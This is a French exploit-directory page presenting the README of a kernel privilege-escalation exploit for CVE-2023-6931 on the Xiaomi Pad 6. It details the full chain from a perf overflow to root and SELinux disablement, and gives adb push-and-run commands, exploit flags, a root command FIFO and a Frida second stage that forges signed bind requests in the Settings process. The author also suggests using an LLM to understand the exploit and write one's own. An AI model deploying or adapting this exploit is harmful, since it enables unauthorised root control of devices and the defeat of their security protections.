Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
cve-2023-6931-pipa — Exploit LPE du noyau pour CVE-2023-6931 sur Xiaomi Pad 6 (pipa), enchaînant un débordement de read_size de perf pour obtenir les droits root et désactivant SELinux via une corruption data-only de netlink_sock sk_destruct. | Kitploit
Outils/GitHubGitHub/yutori-natsu/cve-2023-6931-pipa
Sécurité AndroidEscalade de PrivilègesCriminalistique MémoireExploitationRétro-ingénieriePost-ExploitationSécurité MobileDéveloppement de Charges UtilesExploitation de Binaires

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHubyutori-natsu/cve-2023-6931-pipa

cve-2023-6931-pipa

Exploit LPE du noyau pour CVE-2023-6931 sur Xiaomi Pad 6 (pipa), enchaînant un débordement de read_size de perf pour obtenir les droits root et désactivant SELinux via une corruption data-only de netlink_sock sk_destruct.

Voir le dépôt
il y a 1 jourPas encore vérifié

CVE-2023-6931 — Xiaomi Pad 6 (pipa) élévation de privilèges et désactivation de SELinux

La version finale de l'exploit utilisée sur l'appareil, regroupée ici dans ce répertoire.

Objectif

root@kitploit:~
Appareil      Xiaomi Pad 6 / pipa / SM8250
Système       HyperOS OS2.0.20.0.UMZCNXM
Noyau         4.19.157-perf-g240e1d0a5f52
Point de départ  adb shell (domaine shell)
Résultat      uid0 en une seule fois + SELinux permissive global (perdu au redémarrage)

Chaîne d'exploitation

Voir l'en-tête du fichier exploit.c, résumé ci-dessous.

root@kitploit:~
1) perf group read_size overflow                -> primitive d'incrémentation u64 hors limites
2) incrémenter victim netlink_sock->sk_destruct -> netlink_sock_destruct_work (+0x28e8)
3) close(victim) -> sk_destruct(work) -> container_of(work, netlink_sock, 0x440)
   -> fake = victim-0x440 -> sk_free(fake) -> __sk_destruct(&fake->sk_rcu)
   -> fake->sk_destruct @ fake+704 = pivot(mov sp, x19)
4) migration de pile vers la charge utile skb dans fake (pt_regs1 @ +960, pt_regs2 @ +1120)
5) restore_tramp -> eret EL1h -> commit_creds(&init_cred)
6) restore_no_kpti -> eret EL0 -> post_root

La désactivation de SELinux passe par une pure réécriture de données : fake+0x248 pointe vers selinux_state, et l'atomic_dec de __sk_destruct fait passer enforcing de 1 à 0 dans le segment de bit de poids faible de ce mot.

Contenu du répertoire

Compilation

root@kitploit:~
./build.sh                 # sortie dans ce répertoire : exploit
CC=aarch64-linux-gnu-gcc ./build.sh /tmp/exploit

Exécution sur l'appareil

Ligne de commande utilisée par le script de pilotage .project/scripts/drive_selinux_off.sh :

root@kitploit:~
adb push exploit_selinux8 /data/local/tmp/exploit_selinux8
adb shell 'chmod 755 /data/local/tmp/exploit_selinux8'

adb shell 'cd /data/local/tmp && setsid nohup /data/local/tmp/exploit_selinux8 \
  --selinux-off --layout-interleave --tsec-sid 1 --alarm-us 5000000 \
  > /data/local/tmp/run.out 2>&1 < /dev/null &'

Signification des paramètres :

root@kitploit:~
--selinux-off        désactive SELinux (chemin de pure réécriture de données), avec falsification de cred
--layout-interleave  entrelacement de la séquence d'allocation, pour que l'incrément OOB tombe sur le sk_destruct de l'objet cible
--tsec-sid 1         sid/osid du contexte de sécurité du cred falsifié (1 utilisé quand le vrai sid de domaine est introuvable)
--alarm-us 5000000   ITIMER_REAL auto-réveillé, une tentative bloquée se termine après 5 secondes

Prérequis et limites d'exécution :

  • Le domaine shell peut atteindre perf_event et netlink_route, pas le domaine applicatif, donc il faut impérativement partir de adb shell ;
  • Chaque création de 8446 événements siblings sature perf_event_mlock_kb = 516, ne pas relancer plusieurs fois dans le même boot ; si l'instance précédente ne se termine pas, les événements ne sont pas libérés et une nouvelle exécution n'en créera que 4000 à 6000 ;
  • Au besoin, utiliser kill -9 pour nettoyer les anciennes instances avant de recommencer, sinon compter une seule tentative valide par démarrage ;
  • En cas de succès, le processus reste dans pause(), root et permissive ne valent que pour ce démarrage.
  • Le même framework possède des variantes remplaçant la première/deuxième trame par une écriture dload (--edl, --edl2), pour entrer de manière déterministe en EDL depuis la fenêtre root ; ce répertoire ne contient que la version finalement utilisée.

Deux phases et jonction

Ce répertoire ne contient que la première phase. La chaîne complète comporte en réalité deux segments, dont le point de jonction est le canal de commandes root laissé par la première phase.

root@kitploit:~
Première phase  exploit_selinux8            élévation de privilèges noyau + désactivation SELinux, puis arrêt sur le canal de commandes root
            produit : uid0 + permissive, canal = FIFO /data/local/tmp/root_in|root_out
                  (également socket unix abstrait rootshell / rootshell2, et mode --root-client PORT)
Deuxième phase  stage2-frida/               démarre frida-server en root via le canal ci-dessus, injecte dans Settings
            produit : requête de liaison construite et émise depuis le processus applicatif (signature TEE)

À la fin de la première phase, ROOTSHELL_OK est écrit dans /data/local/tmp/root_proof.txt comme preuve de commande exécutable. Ensuite, toute action root depuis la machine hôte consiste à écrire une ligne de commande dans le FIFO, par exemple celle qui démarre frida-server en deuxième phase :

root@kitploit:~
adb shell "echo 'killall -9 frida-server 2>/dev/null; rm -f /data/local/tmp/frida.log; \
  setsid runcon u:r:shell:s0 /data/local/tmp/frida-server16 -D \
  </dev/null >/data/local/tmp/frida.log 2>&1 & echo FRIDA_STARTED' > /data/local/tmp/root_in"

runcon u:r:shell:s0 ne peut pas être omis : une fois SELinux désactivé, si frida-server tourne dans le domaine kernel, il n'obtient pas le contexte Android et PackageManager provoque une NPE.

stage2-frida/

Dépendances externes (non fournies dans ce répertoire) : frida-server 16.7.19 (54 Mo, placé dans .project/tools/ext/frida/fs16, préfixe sha256 4eebf1fbc66ff54aba9a9124) et le client python correspondant (.project/tools/ext/fridavenv16, frida 16.7.19). La version 16.x est utilisée plutôt que 17.x car l'agent de la 17 n'a pas de Java bridge.

La chaîne d'appel complète est orchestrée par .project/scripts/drive_selinux_off.sh : la première action après avoir atteint la fenêtre root est bash .project/scripts/exp_forge_send.sh, et la boucle s'arrête dès l'obtention de code 0.

Notes de reproductibilité

exploit_selinux8 est l'original livré, voir SHA256SUMS pour les sommes de contrôle. Reconstruire à partir des sources de ce répertoire donne un binaire différent :

root@kitploit:~
Reconstruction depuis les sources de ce répertoire   1,853,744 B   f8bb900bf4e197190d56bfc1437bcc9a025e49640a7fa2a78ff0f7fb0a6e7939
Reconstruction depuis les sources originales          1,853,752 B   96c7c3637682a2d5869ab4b6a732688a252f17f5e604b1695bc8fcc022113b3f
La version réellement exécutée                        1,853,720 B   279837d2ee028fbbb520120180156446ad8dc3286b723e28de300b544be2a21a

Les différences ont été localisées symbole par symbole, et proviennent d'une seule source : deux modes supplémentaires dans la table des arguments de ligne de commande.

root@kitploit:~
--edl     trame 2 appelle __qcom_scm_set_dload_mode(dev, 1)
--edl2    trame 2 écrit directement le cookie dload

Autrement dit, la version livrée a été compilée avant l'ajout du mode EDL, et les sources actuelles sont postérieures à cet ajout (.project/work/exploit_edl1, exploit_edl2 en sont compilés). La branche EDL ne s'active que si --edl ou --edl2 est passé, edl_mode vaut 0 par défaut, et la seule ligne pertinente dans la construction du payload est edl_mode ? 1ULL : rt(OFF_INIT_CRED), donc avec la ligne de commande finale --selinux-off les deux se comportent identiquement. La différence relève d'un ajout fonctionnel, non d'un correctif ou d'un changement de comportement ; le binaire est fourni tel quel, les sources conservent la version complète.

Nettoyage des commentaires

Traité avec .project/tools/strip_dev_comments.py, suppression de 124 blocs de commentaires du processus de développement (marqueurs d'itération de version comme v96, v127, et tournures de débogage en chinois comme « ancienne valeur / mesuré / relancer / sauter »), conservation de 313 commentaires structurels. La comparaison du résultat du prétraitement ne montre qu'une différence de lignes vides, les tokens de code sont parfaitement identiques. Les journaux d'exécution contiennent encore des textes imprimés avec le préfixe vNNN:, car il s'agit de sorties du programme et non de commentaires.

my words

idk fr what files are really needed, if you want to you might very need a LLM to understand the whole exp and write yours.

Télécharger l’outil
FichierDescription
exploit.cCode source. Les commentaires du processus de développement ont été retirés, les commentaires structurels (explication de la chaîne en en-tête, table des offsets, disposition des structures) sont conservés
text_syms.hTable des symboles .text générée à partir du dump kallsyms de l'appareil, nécessaire à la compilation
ro_syms.hIdem, table des symboles de données en lecture seule, nécessaire à la compilation
exploit_selinux8Le binaire réellement exécuté sur l'appareil, identique à celui utilisé par le script de pilotage
build.shScript de compilation
SHA256SUMSSommes de contrôle des fichiers ci-dessus
FichierDescription
exp_forge_send.shPousse et démarre frida-server 16.7.19, s'assure que Settings tourne, récupère le pid, exécute l'agent
frida_run.pyEnveloppe du client frida, prend en charge la connexion directe FRIDA_PID et l'auto-démarrage FRIDA_SPAWN (contourne am/pm)
forge_send.jsDuplique getNonce dans le processus Settings, signe applyBind selon l'ancien ensemble de champs et l'émet
Élément comparéRésultat
Symboles dont la taille de fonction diffèreSeulement main (livré 17,744 B, reconstruit 18,004 B, écart 260 B ≈ 65 instructions)
Les 1,503 autres fonctionsTailles identiques, ni ajout ni suppression
Symboles présents uniquement dans la reconstructionedl_mode uniquement
Table des arguments de ligne de commande85 dans la version livrée, 87 dans la reconstruction, les deux en plus étant précisément --edl et --edl2
Nombre d'instructions de tout le segment .text126,533 contre 126,597, écart de 64, cohérent avec la différence de main